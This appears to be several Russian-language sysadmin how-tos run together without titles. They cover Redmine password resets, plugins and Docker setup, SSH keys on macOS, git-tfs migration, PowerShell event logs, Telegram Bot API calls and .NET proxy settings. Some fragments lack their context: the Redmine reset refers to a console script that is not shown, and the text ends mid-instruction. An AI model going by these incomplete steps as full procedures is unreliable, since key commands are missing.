Нажмите «Восстановление пароля» на странице входа. Redmine пришлёт ссылку для сброса, если админ не отключил восстановление и на сервере настроена почта. Если ссылки нет или письмо не приходит, попросите администратора задать вам новый пароль в разделе «Администрирование → Пользователи».

Если сброс не помог

• undefined method 'password_confirmation=' for nil (в старых версиях Ruby — undefined method `password_confirmation=' for nil:NilClass) — пользователя с таким логином нет. Список логинов: User.pluck(:login).
• Validation failed: Password is too short (minimum is 8 characters) — пароль не проходит правила из «Администрирование → Настройки → Аутентификация».
• Пароль сбросили, а войти не получается. Возможно, учётка входит через LDAP, и пароль Redmine проверяет там. Добавьте u.auth_source = nil перед u.save!, и учётка перейдёт на локальный пароль.
• Redmine 4.2+ просит код двухфакторной аутентификации, а телефона нет. Добавьте перед u.save! строку Redmine::Twofa.for_user(u)&.destroy_pairing_without_verify!.
• Без RAILS_ENV=production Rails стартует в режиме разработки: либо падает, либо открывает development-базу вместо вашей.
• Когда кто-то получает права админа, Redmine рассылает всем администраторам письмо об этом. Так и должно быть.

pbcopy < ~/.ssh/id_ed25519.pub

Команда ничего не выводит. Ключ уже в буфере: вставьте его через Cmd+V в GitHub, GitLab или панель хостинга.

Если ключ создан по версии этого поста 2017 года или командой ssh-keygen без параметров до OpenSSH 9.5 (2023 год), он RSA и лежит в другом файле:

pbcopy < ~/.ssh/id_rsa.pub

Если zsh отвечает no such file or directory, такого ключа у вас нет. Создайте его (ниже).

Я проверил команды на OpenSSH 10 (в macOS 26.1 стоит 10.0p2) с сервером на Ubuntu 26.04.

Какой файл копировать: публичный ключ

ls ~/.ssh

Ключ — это пара файлов. id_ed25519 — закрытый ключ, он не покидает ваш Mac. id_ed25519.pub — публичный, его можно отдавать кому угодно. Это одна строка:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com

Если текст в буфере начинается с -----BEGIN OPENSSH PRIVATE KEY-----, а у старых RSA-ключей — с -----BEGIN RSA PRIVATE KEY-----, вы скопировали закрытый ключ. Никуда его не вставляйте.

Без pbcopy: выполните cat ~/.ssh/id_ed25519.pub, выделите строку от ssh- до конца и нажмите Cmd+C.

Как создать SSH-ключ на Mac

ssh-keygen -t ed25519 -C "you@example.com"

На вопрос о файле нажмите Enter: ключ ляжет в ~/.ssh/id_ed25519. Потом дважды введите парольную фразу (о ней ниже). Если папки ~/.ssh нет, ssh-keygen создаст её с правами 700, а закрытому ключу поставит 600. Остаётся скопировать ключ через pbcopy.

-C — комментарий в конце ключа. По нему вы отличите ключи в authorized_keys на сервере и в выводе ssh-add -l. Без -C комментарием станет user@hostname.

С OpenSSH 9.5 ssh-keygen без параметров тоже создаёт Ed25519. Я всё равно пишу -t ed25519, чтобы на старых системах получился такой же ключ.

Если ssh-keygen пишет id_ed25519 already exists и спрашивает Overwrite (y/n)?, отвечайте n. Перезапись удалит старый ключ, и все серверы, где он был, перестанут вас пускать.

Парольная фраза и Связка ключей macOS

Парольная фраза шифрует закрытый ключ: без неё украденный файл бесполезен. Чтобы не вводить фразу при каждом подключении, сохраните её в Связке ключей:

ssh-add --apple-use-keychain ~/.ssh/id_ed25519

И добавьте в ~/.ssh/config (если файла нет, создайте его):

Host *
  AddKeysToAgent yes
  UseKeychain yes

С UseKeychain ssh берёт парольную фразу из Связки ключей, а если вы ввели её вручную и она подошла, сохраняет туда. AddKeysToAgent загружает ключ в ssh-agent при первом подключении. После перезагрузки запускать ssh-add заново не нужно.

В старых инструкциях встречается ssh-add -K. В macOS 26.1 он ещё работает, но выводит предупреждение, а в man сказано, что следующие версии macOS перестанут его поддерживать.

Проверить парольную фразу: ssh-keygen -y -f ~/.ssh/id_ed25519. С верной фразой команда выведет публичный ключ, с неверной — incorrect passphrase supplied to decrypt private key. Та же команда восстановит удалённый .pub:

ssh-keygen -y -f ~/.ssh/id_ed25519 > ~/.ssh/id_ed25519.pub

Поставить или сменить парольную фразу: ssh-keygen -p -f ~/.ssh/id_ed25519.

Если ~/.ssh/config общий с Linux-машинами, ssh там остановится с ошибкой Bad configuration option: usekeychain. Первой строкой файла напишите:

IgnoreUnknown UseKeychain

RSA-ключ для старых серверов

Ed25519 появился в OpenSSH 6.5 в январе 2014 года. Если старый сервер не принимает ваш ключ, создайте RSA:

ssh-keygen -t rsa -b 4096 -C "you@example.com"

Он сохранится в ~/.ssh/id_rsa. Без -b длина будет 3072 бита. RSA-ключ, который у вас уже есть, работает с современными серверами, менять его не обязательно.

Со старым сервером одного ключа мало. Серверы до OpenSSH 7.2 (2016 год) принимают RSA-ключ только с подписью SHA-1 (ssh-rsa), а ssh с версии 8.8 (2021 год) по умолчанию так не подписывает. ssh тогда пропускает ключ: просит пароль или отвечает Permission denied (publickey). Причину видно только в ssh -v: no mutual signature algorithm. Разрешите SHA-1 для одного этого сервера в ~/.ssh/config. Вместо адреса из примера напишите тот, что набираете после @:

Host oldserver.example.com
  PubkeyAcceptedAlgorithms +ssh-rsa
  HostKeyAlgorithms +ssh-rsa

HostKeyAlgorithms нужен, если у сервера только RSA-ключ хоста. Без этой строки ssh остановится ещё до входа с ошибкой no matching host key type found. Their offer: ssh-rsa. ssh-copy-id тоже читает эти настройки. Не пишите их под Host *: OpenSSH отключил SHA-1, потому что атаки на коллизии стали практическими.

Как скопировать ключ на сервер: ssh-copy-id

ssh-copy-id в macOS уже есть:

ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server

Он один раз входит на сервер, обычно по паролю, и дописывает ключ в ~/.ssh/authorized_keys. Папку и файл создаёт сам, с правами 700 и 600. Если всё прошло, увидите Number of key(s) added: 1.

Не убирайте -i. Без него ssh-copy-id возьмёт ключи из ssh-agent или самый свежий ~/.ssh/id*.pub, а это может оказаться не тот ключ.

Для ssh-copy-id нужен любой рабочий вход: пароль или другой ключ, который сервер уже принимает. Если нет ни того, ни другого, временно включите пароли или добавьте ключ на самом сервере (ниже).

Как добавить ключ в authorized_keys вручную

То же без ssh-copy-id, одной строкой с Mac:

cat ~/.ssh/id_ed25519.pub | ssh user@server 'mkdir -p ~/.ssh && chmod 700 ~/.ssh && { echo; cat; } >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'

Если по SSH не пускает совсем, откройте терминал сервера другим способом, например через веб-консоль хостинга. Войдите под тем пользователем, под которым будете подключаться, и добавьте ключ, подставив свой вместо примера:

mkdir -p ~/.ssh
echo >> ~/.ssh/authorized_keys
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Дописывайте через >>: одинарная > перезапишет файл и сотрёт остальные ключи. Пустой echo добавляет перенос строки: если в конце файла его нет, новый ключ приклеится к последней строке и не заработает. Пустые строки sshd пропускает.

Как добавить ключ другому пользователю через sudo, я разобрал в посте про создание администратора.

Как добавить SSH-ключ в GitHub

1. Скопируйте ключ: pbcopy < ~/.ssh/id_ed25519.pub.
2. В GitHub: аватар → Settings → SSH and GPG keys → New SSH key.
3. В Title напишите имя своего Mac, в Key type оставьте Authentication. Вставьте ключ в поле Key и нажмите Add SSH key.

Через GitHub CLI это одна команда:

gh ssh-key add ~/.ssh/id_ed25519.pub --title "MacBook Air"

Если gh просит права admin:public_key, выполните gh auth refresh -h github.com -s admin:public_key и повторите команду.

Проверьте подключение:

ssh -T git@github.com

При первом подключении ssh покажет отпечаток ключа GitHub. Если это SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU, введите yes. Ответ Hi username! You've successfully authenticated значит, что всё работает. Permission denied (publickey) значит, что GitHub не знает этот ключ.

Если git push всё ещё спрашивает логин или токен, у репозитория адрес по HTTPS. Переключите его на SSH:

git remote set-url origin git@github.com:user/repo.git

Как создать репозиторий и сделать первый push — в посте про настройку Git.

Частые ошибки

• zsh: no such file or directory: /Users/you/.ssh/id_ed25519.pub — ключа с таким именем нет. Посмотрите, что лежит в ~/.ssh: если там id_rsa.pub, копируйте его, если пусто — создайте ключ.
• Permissions 0644 for '/Users/you/.ssh/id_ed25519' are too open и This private key will be ignored — закрытый ключ могут читать другие пользователи, и ssh от него отказывается. Выполните chmod 700 ~/.ssh и chmod 600 ~/.ssh/id_ed25519.
• Permission denied (publickey) от сервера — ключа нет в authorized_keys этого пользователя или sshd игнорирует файл. Если у ~/.ssh или authorized_keys есть права на запись для всех (777, 666), в логе sshd появится Authentication refused: bad ownership or modes. Какие ключи предлагает ваш Mac, покажет ssh -v user@server.
• Парольную фразу спрашивают при каждом подключении — настройте Связку ключей (раздел выше).

http://azureprice.net/

Он показывает, какой регион выгоднее для выбранного типа ВМ.

http://git-tfs.com

Правый клик на Мой компьютер -> Свойства -> Дополнительные параметры системы -> Переменные среды -> Системные переменные -> Path

Добавьте ;C:\TfsMigration\GitTfs-0.25.1 в конец переменной Path.

Откройте командную строку от имени администратора и выполните команды, подставив свои значения:

git tfs clone http://myserver:8080/tfs/DefaultCollection $/PIK.BOP/Trunk . --branches=all

git remote add origin http://user@myserver/apps/autobop-backend.git

Я добавляю -c http.sslVerify=false, потому что у моего сервера проблемы с сертификатом.

git -c http.sslVerify=false push --all origin

Если сервер настроен правильно, выполняйте ту же команду без -c http.sslVerify=false:

git push --all origin

Полное описание миграции с tfs на git:

https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md

tr.issue.overdue td.id a, tr.issue.overdue td.subject a, .issue.overdue td.due-date { color: #f00; }
tr.private td.subject a:before {
  content: '';
  display: inline-block;
  margin: 0 3px 0 -5px;
  height: 11px;
  vertical-align: middle;
  border-left: 2px solid #d22;
  border-right: 1px solid #d22;
}

Оригинальная статья: http://www.redmine.org/issues/20812

cp use_redmine proceed_mail

Откройте новый файл:

nano ./proceed_mail

Замените текст на такой (подставьте свои значения):

#!/bin/bash

. /opt/redmine-3.3.2-2/scripts/setenv.sh

rake -f /opt/redmine-3.3.2-2/apps/redmine/htdocs/Rakefile redmine:email:receive_imap \
  RAILS_ENV="production" host=mail_server username=redmine@example.com password=your_password \
  move_on_success=read move_on_failure=failed

Откройте конфигурацию Cron:

crontab -e

Добавьте в конец файла строку (подставьте свои значения):

*/5 * * * * /opt/redmine-3.3.2-2/proceed_mail

New-EventLog -LogName Application -Source "TestApi"

Теперь приложение или скрипт может писать события с источником TestApi. Окно нужно открыть от имени администратора: чтобы проверить, что имя уникально, New-EventLog просматривает все журналы, включая Security, а обычному пользователю он недоступен.

В PowerShell 7 такой команды нет, он ответит The term 'New-EventLog' is not recognized. Что делать там, написано ниже.

Проверить, что источник есть

# True или False; тоже нужно окно администратора
[System.Diagnostics.EventLog]::SourceExists("TestApi")

# Работает без прав администратора: источник — это ключ реестра
Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\TestApi"

Повторный New-EventLog с тем же именем падает с ошибкой, что источник уже зарегистрирован. Чтобы скрипт можно было запускать сколько угодно раз:

if (-not [System.Diagnostics.EventLog]::SourceExists("TestApi")) {
    New-EventLog -LogName Application -Source "TestApi"
}

Записать и прочитать события

Write-EventLog -LogName Application -Source "TestApi" `
    -EventId 1000 -EntryType Information -Message "TestApi started"

# Пять последних событий этого источника, в Windows PowerShell и в PowerShell 7
Get-WinEvent -MaxEvents 5 -FilterHashtable @{
    LogName = 'Application'; ProviderName = 'TestApi'
}

-EntryType принимает Error, Warning, Information, SuccessAudit или FailureAudit. -EventId — до 65535.

В PowerShell 7 нет New-EventLog

Microsoft убрала из PowerShell 7 все командлеты *-EventLog. Вызовите класс .NET напрямую или Windows PowerShell 5.1, который входит в Windows:

# API .NET, в PowerShell 7 на Windows, от имени администратора
[System.Diagnostics.EventLog]::CreateEventSource("TestApi", "Application")
[System.Diagnostics.EventLog]::WriteEntry(
    "TestApi", "TestApi started", "Information", 1000)

# Или старая команда через Windows PowerShell
powershell.exe -NoProfile -Command `
    "New-EventLog -LogName Application -Source TestApi"

Microsoft предлагает на замену New-WinEvent, но он пишет события для ETW-провайдеров с манифестом, а не для классического источника вроде TestApi.

Без PowerShell: eventcreate

Команда eventcreate в cmd записывает событие и регистрирует источник, если его ещё нет. Пишет она только от имени источников, которые зарегистрировала сама: с TestApi из New-EventLog выше она падает с ошибкой ERROR: Source parameter is used to identify custom applications/scripts only (not installed applications). Дайте ей своё имя:

eventcreate /L APPLICATION /SO TestApiCmd /T INFORMATION /ID 1 ^
    /D "TestApiCmd registered"

Она пишет только в журналы Application и System, а код события должен быть от 1 до 1000.

Удалить источник

# Windows PowerShell 5.1
Remove-EventLog -Source "TestApi"

# PowerShell 7
[System.Diagnostics.EventLog]::DeleteEventSource("TestApi")

Правила для имён источников

• Имя уникально на компьютере и не совпадает с названием журнала.
• Источник пишет в один журнал. Если перенести его в другой журнал, изменение заработает после перезагрузки.
• Регистрируйте источник при установке приложения, а не перед первой записью. Пока Windows не обновит список источников, запись с новым источником не проходит.
• Если в -LogName указать несуществующий журнал, New-EventLog создаст его. Журнал появится после первой записи, а первые восемь символов его имени должны отличаться от всех остальных журналов.

start - Запустить бота
help - Что умеет бот
settings - Настройки

Правила из Bot API:

• команда — от 1 до 32 символов: строчные латинские буквы, цифры и подчёркивание;
• описание — от 1 до 256 символов;
• в списке до 100 команд.

Telegram просит каждого бота поддерживать /start, /help и, если у бота есть настройки, /settings. Когда пользователь впервые открывает чат с ботом, он видит кнопку «Старт».

Меню — только подсказка. В сообщении может прийти любая команда, в том числе та, которой нет в списке, а какой список видел пользователь, бот не узнает. Проверяйте команды и права на своём сервере. В группе с несколькими ботами добавляйте к команде имя бота, /help@my_bot, чтобы она дошла до нужного.

Команды через API: setMyCommands

TOKEN="123456789:AA..."

curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"commands": [
        {"command": "start", "description": "Запустить бота"},
        {"command": "help", "description": "Что умеет бот"}
      ]}'

В ответ придёт {"ok":true,"result":true}. getMyCommands возвращает текущий список, deleteMyCommands удаляет его.

language_code и scope показывают разным пользователям разные списки:

# Меню для тех, у кого Telegram на английском
curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"language_code": "en", "commands": [
        {"command": "start", "description": "Start the bot"},
        {"command": "help", "description": "What the bot can do"}
      ]}'

# Меню для администраторов всех групп: start и help повторить
curl -s "https://api.telegram.org/bot$TOKEN/setMyCommands" \
  -H 'Content-Type: application/json' \
  -d '{"scope": {"type": "all_chat_administrators"}, "commands": [
        {"command": "start", "description": "Запустить бота"},
        {"command": "help", "description": "Что умеет бот"},
        {"command": "ban", "description": "Забанить пользователя"}
      ]}'

Типы scope: default, all_private_chats, all_group_chats, all_chat_administrators, chat, chat_administrators, chat_member. Каждый пользователь видит один список, списки не складываются: список для scope или языка заменяет всё меню. Telegram выбирает список самого узкого scope, для которого он задан: сначала на языке пользователя, потом без языка, а если ничего нет — default. В getMyCommands и deleteMyCommands передавайте те же scope и language_code.

Команды BotFather

BotFather со временем получает новые команды. Чтобы увидеть актуальный список, наберите / в чате с ним.

Адреса Bot API: токен и вебхук

Каждый метод доступен по адресу https://api.telegram.org/bot<токен>/МЕТОД, через GET или POST:

# Проверить токен: вернёт id, имя и username бота
curl -s "https://api.telegram.org/bot$TOKEN/getMe"

# Поставить вебхук: Telegram будет слать обновления на этот HTTPS-адрес
curl -s "https://api.telegram.org/bot$TOKEN/setWebhook" \
  -d url=https://example.com/telegram/webhook \
  -d secret_token=my-secret-123

# Состояние вебхука: url, pending_update_count, last_error_message
curl -s "https://api.telegram.org/bot$TOKEN/getWebhookInfo"

# Снять вебхук и выбросить накопившиеся обновления
curl -s "https://api.telegram.org/bot$TOKEN/deleteWebhook" \
  -d drop_pending_updates=true

• Вебхук работает на портах 443, 80, 88 и 8443, всегда по HTTPS, даже на 80-м.
• С secret_token каждый запрос от Telegram приходит с заголовком X-Telegram-Bot-Api-Secret-Token и этим значением. Сверяйте его и отбрасывайте запросы не от Telegram.
• Если сервер ответил не 2XX, Telegram повторит запрос и через несколько попыток сдастся.
• Пока стоит вебхук, getUpdates не работает: Conflict: can't use getUpdates method while webhook is active; use deleteWebhook to delete the webhook first. Чтобы перейти на опрос, вызовите deleteWebhook.

Токен в адресе попадает в историю терминала и логи сервера. Если он утёк, получите новый командой /token в BotFather.

<configuration>
  <system.net>
    <defaultProxy>
      <proxy proxyaddress="http://192.168.0.1:8080" bypassonlocal="true" />
    </defaultProxy>
  </system.net>
</configuration>

Теперь исходящие запросы приложения (HttpWebRequest, WebClient и HttpClient на .NET Framework) идут через 192.168.0.1:8080. ASP.NET перезапускает приложение, когда меняется web.config, больше ничего делать не нужно.

ASP.NET Core эту секцию не читает, про него в конце.

Атрибуты

• proxyaddress — адрес прокси полным URI со схемой: http://host:port.
• bypassonlocal="true" — запросы к localhost, 127.0.0.1 и к именам без точки (http://webserver) идут мимо прокси.
• usesystemdefault="true" — взять системные настройки прокси из «Свойств браузера», а заданные атрибуты их перекроют. Эти настройки свои у каждого пользователя Windows, а у учётной записи пула приложений их обычно нет, поэтому на IIS указывайте proxyaddress явно.
• useDefaultCredentials="true" у defaultProxy — если прокси требует Windows-аутентификацию, приложение войдёт под учётной записью пула. У ApplicationPoolIdentity в сети это учётная запись компьютера.
• enabled="false" у defaultProxy — не использовать прокси в этом приложении.
• <bypasslist> — регулярные выражения для адресов, которые идут мимо прокси.

Всё вместе:

<configuration>
  <system.net>
    <defaultProxy enabled="true" useDefaultCredentials="true">
      <proxy proxyaddress="http://proxy.corp.local:8080"
             bypassonlocal="true"
             usesystemdefault="false" />
      <bypasslist>
        <!-- Регулярное выражение: все хосты в corp.local, на любом порту -->
        <add address="[a-z0-9-]+\.corp\.local(:\d+)?$" />
      </bypasslist>
    </defaultProxy>
  </system.net>
</configuration>

Та же секция в %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config действует на все 64-битные приложения .NET Framework 4.x на сервере. 32-битные пулы читают папку Framework вместо Framework64.

Проверить, что запросы идут через прокси

С сервера проверьте, что прокси вообще выпускает наружу. curl.exe есть в Windows 10 1803, Windows Server 2019 и новее:

curl.exe -I -x http://192.168.0.1:8080 https://example.com

Внутри приложения спросите у .NET, какой прокси он возьмёт для адреса:

var target = new Uri("https://example.com/");
var proxy = WebRequest.DefaultWebProxy.GetProxy(target);
// proxy == target: запрос пойдёт напрямую, без прокси

ASP.NET Core под IIS

.NET Core и .NET 5+ не читают system.net из web.config. HttpClient берёт прокси из переменных окружения HTTP_PROXY, HTTPS_PROXY, ALL_PROXY и NO_PROXY, а на Windows, если их нет, — из настроек прокси пользователя. Переменные можно задать в секции aspNetCore того же web.config:

<aspNetCore processPath="dotnet" arguments=".\MyApp.dll"
            hostingModel="inprocess">
  <environmentVariables>
    <environmentVariable name="HTTP_PROXY" value="http://192.168.0.1:8080" />
    <environmentVariable name="HTTPS_PROXY" value="http://192.168.0.1:8080" />
    <environmentVariable name="NO_PROXY" value="localhost,.corp.local" />
  </environmentVariables>
</aspNetCore>

NO_PROXY — список через запятую, без звёздочек. .corp.local с точкой в начале совпадает с corp.local и всеми его поддоменами, corp.local без точки — только с этим хостом.

Или задайте прокси в коде при старте, до первого запроса:

HttpClient.DefaultProxy = new WebProxy("http://192.168.0.1:8080", true);

Второй аргумент — BypassOnLocal, как bypassonlocal в конфиге.

cd /path/to/redmine
git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production

Потом перезапустите Redmine: под Passenger хватит touch tmp/restart.txt, на сервере Bitnami — sudo /opt/bitnami/ctlscript.sh restart, в Docker — docker compose restart redmine. Иначе перезапустите сервер приложений, например Puma. Плагин появится в разделе «Администрирование → Модули».

Я проверил это на Redmine 7.0.3, 6.1.6 и 5.1.12 в официальном Docker-образе и на образе Bitnami с Redmine 6.0.6.

Что делает каждая команда

• Папка в plugins/ называется по ID плагина, а не по имени репозитория. Правильную команду git clone обычно дают в README.
• bundle install ставит гемы плагина. Без него Redmine не запустится: Could not find gem 'write_xlsx' in locally installed gems.
• redmine:plugins:migrate создаёт таблицы плагина. Перед миграцией сделайте бэкап базы. Если её пропустить, страницы отдают ошибку 500: relation "view_customizes" does not exist.
• Перезапуск подключает плагин: Redmine читает плагины только при старте.

Проверить из консоли:

bundle exec bin/about

Плагин будет в списке Redmine plugins:.

Имя папки должно совпадать с ID плагина

ID записан в init.rb: Redmine::Plugin.register :view_customize. Обычный git clone этого репозитория создаст папку redmine-view-customize, а ZIP-архив с GitHub распакуется в redmine_drawio-master. С такой папкой Redmine не запустится:

Redmine::PluginNotFound: Plugin not found. The directory for plugin view_customize should be /usr/src/redmine/plugins/view_customize.

Переименуйте папку и повторите шаги.

Как удалить плагин Redmine

cd /path/to/redmine
bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0 RAILS_ENV=production
rm -rf plugins/view_customize

Затем перезапустите Redmine. VERSION=0 откатывает все миграции плагина и удаляет его таблицы вместе с данными, поэтому сначала сделайте бэкап. Соблюдайте порядок: если папку уже удалили, задача остановится с Plugin view_customize was not found, а таблицы останутся в базе.

Как установить плагин в Bitnami Redmine

В виртуальных машинах и облачных образах Bitnami Redmine лежит в /opt/bitnami/redmine. В инструкции Bitnami те же шаги:

cd /opt/bitnami/redmine/plugins
git clone https://github.com/onozaty/redmine-view-customize.git view_customize
cd ..
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
sudo /opt/bitnami/ctlscript.sh restart

В старых стеках с Redmine 3.x, как у меня в 2017 году, Redmine лежит в /opt/bitnami/apps/redmine/htdocs. Выполните те же команды там и перезапустите Apache: sudo /opt/bitnami/ctlscript.sh restart apache. У моего инсталлятора ctlscript.sh был в /opt/redmine-3.3.2-2.

Чтобы открыть «Администрирование → Модули», войдите под user: так в Bitnami называется администратор (если забыли пароль).

Bundler в Bitnami работает в режиме deployment. Если плагин добавляет гемы, bundle install падает с ошибкой the lockfile can't be updated because frozen mode is set. Снимите заморозку и повторите bundle install:

bundle config set --local frozen false
bundle install

Если гем не собирается с ошибкой make failedNo such file or directory - make или extconf.rb failed, поставьте компилятор и заголовки zlib и снова запустите bundle install:

sudo apt-get install build-essential zlib1g-dev

Флаг --no-deployment из инструкции Bitnami в Bundler 2.6 устарел: ошибка про frozen остаётся, а из .bundle/config пропадает путь vendor/bundle. После этого deployment false ставит все гемы заново, а frozen false по-прежнему работает.

Docker-образ Bitnami

Плагины лежат на томе в /bitnami/redmine/plugins, и при каждом старте контейнер прогоняет их миграции. А вот гемы на томе не сохраняются. Когда я пересоздал контейнер, он упал на шаге «Executing database migrations» с той же ошибкой про frozen lockfile. Её видно только с BITNAMI_DEBUG=true. Компилятора в образе тоже нет.

Bitnami сворачивает бесплатные образы

Бесплатные образы Bitnami, в том числе на AWS, больше не обновляются. Что случилось и как уйти с Bitnami — в посте Установка Bitnami Redmine в 2026. Новый сервер поднимайте на официальном образе redmine, плагины с гемами ставьте туда же.

Как установить плагин в Docker

При каждом старте официальный образ ставит недостающие гемы (bundle check || bundle install), а если задана REDMINE_PLUGINS_MIGRATE, ещё и прогоняет миграции плагинов. В compose.yaml:

services:
  redmine:
    build: .
    environment:
      # плюс ваши настройки REDMINE_DB_*
      SECRET_KEY_BASE: "a-long-random-string"
      REDMINE_PLUGINS_MIGRATE: "1"
    volumes:
      - ./plugins:/usr/src/redmine/plugins

В стандартном образе нет компилятора. Если гемам плагина он нужен, контейнер падает при старте с ошибкой вроде make failedNo such file or directory - make или extconf.rb failed. Поэтому рядом с compose.yaml кладём Dockerfile:

FROM redmine:7.0
RUN apt-get update \
 && apt-get install -y --no-install-recommends build-essential \
 && rm -rf /var/lib/apt/lists/*

git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
# первый запуск; дальше: docker compose restart redmine
docker compose up -d --build
docker compose exec redmine bundle exec bin/about

Последнюю команду запускайте, когда в docker compose logs redmine появится Listening on. Плагин будет в списке Redmine plugins:.

Удаление:

docker compose exec redmine bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0
rm -rf plugins/view_customize
docker compose restart redmine

Ключ задавайте в SECRET_KEY_BASE, а не в REDMINE_SECRET_KEY_BASE. Из второй переменной entrypoint передаёт ключ только серверу, и docker compose exec падает с Missing `secret_key_base` . При пересоздании контейнера гемы плагинов ставятся заново, так что на этом старте нужен интернет.

Совместимость с Redmine 6 и 7

Сейчас поддерживаются три ветки: 7.0 (Rails 8.1), 6.1 (Rails 7.2, исправления ошибок и безопасности) и 6.0 (Rails 7.2, только исправления безопасности). Ветки 5.x больше не поддерживаются. Плагины ломаются на мажорных обновлениях. В 6.0 появились Rails 7.2, Propshaft для статики и SVG-иконки. В 7.0 — Rails 8.1, а старые CSS-классы icon-* удалили.

requires_redmine в init.rb задаёт только минимальную версию. Плагин redmine_banner заброшен с 2020 года и заявляет совместимость с 4.0 и выше, но на 7.0.3 Redmine с ним не запускается: LoadError: cannot load such file -- banners/application_hooks. Один сломанный плагин роняет весь Redmine: удалите его папку и перезапустите. Если плагину нужна версия новее, он скажет сам: additionals plugin requires Redmine 7.0 or higher but current is 6.1.6.stable.

Перед установкой посмотрите дату последнего коммита и требования в README. Каталог плагинов фильтрует по версии, но совместимость там отмечают сами авторы: с 7.0 заявлено 149 плагинов из 1370.

Полезные плагины для Redmine 6.1 и 7.0

Каждый я поставил на 6.1.6 и 7.0.3: гемы установились, миграции прошли, Redmine запустился. Additionals проверял только на 7.0.3. В скобках — имя папки.

• View Customize 3.6.0 (view_customize): свой JavaScript, CSS или HTML на выбранных страницах.
• Additionals 4.6.0 (additionals): дашборды, вики-макросы, правила для задач. Ветка stable, для 6.1 — тег 4.5.0. С SQLite не работает.
• Issue Templates 1.2.3 (redmine_issue_templates): шаблоны задач для каждого проекта.
• Drawio 1.5.6 (redmine_drawio): диаграммы draw.io в вики и задачах.
• Wiki Extensions 1.3.0 (redmine_wiki_extensions): вики-макросы, комментарии, теги.
• XLSX format issue exporter 0.3.0 (redmine_xlsx_format_issue_exporter): выгрузка списка задач в Excel. В Docker нужен компилятор.
• Redmine OAuth 4.2.3 (redmine_oauth): вход через Google, GitHub, GitLab, Azure AD, Okta, Keycloak или OpenID Connect. На 6.1 в Docker нужен компилятор.
• Redmine Dashboard (redmine_dashboard): доски задач и планирования. Клонируйте ветку main: релиз 2.16.0 вышел раньше Redmine 7.

services:
  db:
    image: postgres:18
    restart: unless-stopped
    environment:
      POSTGRES_USER: redmine
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: redmine
    volumes:
      - pgdata:/var/lib/postgresql
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -h 127.0.0.1 -U redmine -d redmine"]
      interval: 5s
      retries: 10

  redmine:
    image: redmine:7.0
    restart: unless-stopped
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "8080:3000"
    environment:
      REDMINE_DB_POSTGRES: db
      REDMINE_DB_USERNAME: redmine
      REDMINE_DB_PASSWORD: ${DB_PASSWORD}
      REDMINE_DB_DATABASE: redmine
      SECRET_KEY_BASE: ${SECRET_KEY_BASE}
    volumes:
      - files:/usr/src/redmine/files

volumes:
  pgdata:
  files:

Сгенерируйте пароли и запустите:

printf 'DB_PASSWORD=%s\nSECRET_KEY_BASE=%s\n' "$(openssl rand -hex 16)" "$(openssl rand -hex 64)" > .env
docker compose up -d

Когда в docker compose logs redmine появится Listening on http://0.0.0.0:3000, откройте http://ваш-сервер:8080 и войдите как admin / admin. Redmine сразу попросит сменить пароль. Я проверял этот файл на Redmine 7.0.3 и PostgreSQL 18.6.

Что стало с Bitnami Redmine

На ноябрь 2026 года:

• У bitnami/redmine на Docker Hub не осталось публичных тегов: образ доступен только по платной подписке Bitnami Secure Images. В бесплатном наборе bitnamisecure Redmine нет.
• bitnamilegacy/redmine — замороженная копия. Последний тег 6.0.6-debian-12-r7 от 22 августа 2025 года. Обновлений и поддержки не будет (объявление), а на странице в Docker Hub Bitnami предупреждает, что репозиторий могут удалить.
• AWS: образы Bitnami и шаблоны Lightsail убрали 10 июня 2026 года (Broadcom). Запущенные серверы работают, но обновлений не получают. Страница в AWS Marketplace отвечает «Page not found».
• VM и установщики: с июня 2025 года виртуалки Bitnami (OVA) скачивают только клиенты VMware (bitnami/vms#1831), а страницы Redmine на bitnami.com перекидывают на главную Bitnami Secure Images. Установщики для Windows, macOS и Linux закрыли в ноябре 2022 года.

Ваш сервер на Bitnami продолжит работать, но без заплаток. А сам Redmine уже дошёл до версий 7.0.3, 6.1.6 и 6.0.12 (загрузки).

Логин и пароль Bitnami Redmine по умолчанию

Логин — user, а не admin. Где взять пароль:

• VM или сервер EC2: sudo cat /home/bitnami/bitnami_credentials. На EC2 пароль ещё первые сутки виден в системном логе инстанса.
• Lightsail: cat ~/bitnami_application_password.
• Docker-образ bitnamilegacy/redmine: bitnami1, если при первом запуске не задали REDMINE_PASSWORD.
• MariaDB на VM от Bitnami: пользователь root, пароль тот же, что у приложения.

Забыли пароль? Сбросьте его одной командой.

Настройка почты

Настройки SMTP Redmine берёт из config/configuration.yml. Создайте его рядом с compose.yaml:

production:
  email_delivery:
    delivery_method: :smtp
    smtp_settings:
      address: smtp.example.com
      port: 587
      enable_starttls_auto: true
      authentication: :login
      user_name: "redmine@example.com"
      password: "app-password"

Добавьте его в volumes сервиса redmine и выполните docker compose up -d:

    volumes:
      - files:/usr/src/redmine/files
      - ./configuration.yml:/usr/src/redmine/config/configuration.yml

На сервере Bitnami правьте /opt/bitnami/redmine/config/configuration.yml и перезапускайте sudo /opt/bitnami/ctlscript.sh restart.

Чтобы отправить проверочное письмо:

